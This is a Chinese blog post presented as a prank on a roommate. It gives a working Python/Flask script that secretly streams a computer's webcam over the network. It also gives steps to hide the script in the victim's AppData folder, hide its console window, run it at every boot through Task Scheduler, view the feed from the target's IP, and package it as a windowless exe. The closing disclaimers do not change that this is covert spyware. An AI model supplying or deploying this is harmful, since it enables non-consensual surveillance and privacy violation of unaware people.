恶搞舍友/工友之借用你的摄像头!

突发奇想想要舍友的突脸照片,于是乘他不在在他电脑上C盘appdata文件夹内放置了以下脚本并隐藏(为什么放在这里?因为这里文件繁多一般不会来看),并在任务计划程序中设置了开机自启!

这样就无感"偷怕"了

Python脚本实现

from flask import Flask, Response
import cv2
import threading
import sys
import os
#安装对应库pip install opencv-python flask -i https://mirrors.aliyun.com/pypi/simple/

# 隐藏控制台窗口
def hide_console():
    if sys.platform == 'win32':
        import ctypes
        ctypes.windll.user32.ShowWindow(ctypes.windll.kernel32.GetConsoleWindow(), 0)

app = Flask(__name__)
# 摄像头对象0是默认摄像头,若有多个可改1/2)
cap = cv2.VideoCapture(0)
# 设置摄像头分辨率(可选降低分辨率减少占用,不卡对方电脑)
cap.set(cv2.CAP_PROP_FRAME_WIDTH, 1920)
cap.set(cv2.CAP_PROP_FRAME_HEIGHT, 1080)

# 生成摄像头帧的函数
def generate_frames():
    while True:
        # 读取摄像头画面
        success, frame = cap.read()
        if not success:
            break
        else:
            # 把帧转为JPEG格式
            ret, buffer = cv2.imencode('.jpg', frame)
            frame = buffer.tobytes()
            # 按HTTP流格式返回
            yield (b'--frame\r\n'
                   b'Content-Type: image/jpeg\r\n\r\n' + frame + b'\r\n')

# 定义访问路由:浏览器访问这个地址就能看即时画面
@app.route('/')
def video_feed():
    return Response(generate_frames(),
                    mimetype='multipart/x-mixed-replace; boundary=frame')

if __name__ == '__main__':
    hide_console()
    # debug=False 避免弹窗,threaded=True 支持多线程访问
    app.run(host='0.0.0.0', port=8000, debug=False, threaded=True)

使用说明

  1. 安装依赖库:
    pip install opencv-python flask -i https://mirrors.aliyun.com/pypi/simple/
  2. 放置脚本:将脚本放在目标电脑的隐蔽位置(如 C:\Users\用户名\AppData\)
  3. 设置开机自启:在Windows任务计划程序中创建任务,设置为开机时自动运行此脚本
  4. 访问摄像头画面:在浏览器中访问 http://目标IP:8000 即可查看实时画面

其他用途

其实这未必只是拿去恶搞吧,也可以当成客厅监控了,有服务器的话再稍加改造就是远程监控了!

没有Python环境怎么办?

那如果没有python环境怎么办呢?python程序可以打包成exe的嘛!

示例命令:

# 安装pyinstaller
pip install pyinstaller

# 打包成单个exe文件(无控制台窗口)
pyinstaller --onefile --noconsole --name camera_monitor your_script.py

打包后会生成一个独立的 .exe 文件,可以直接在Windows上运行,无需安装Python环境。

  • ⚠️ 本文仅供技术学习和娱乐,请勿用于非法用途
  • ⚠️ 未经他人同意使用摄像头可能涉及隐私侵权问题
  • ⚠️ 建议在授权范围内使用,尊重他人隐私权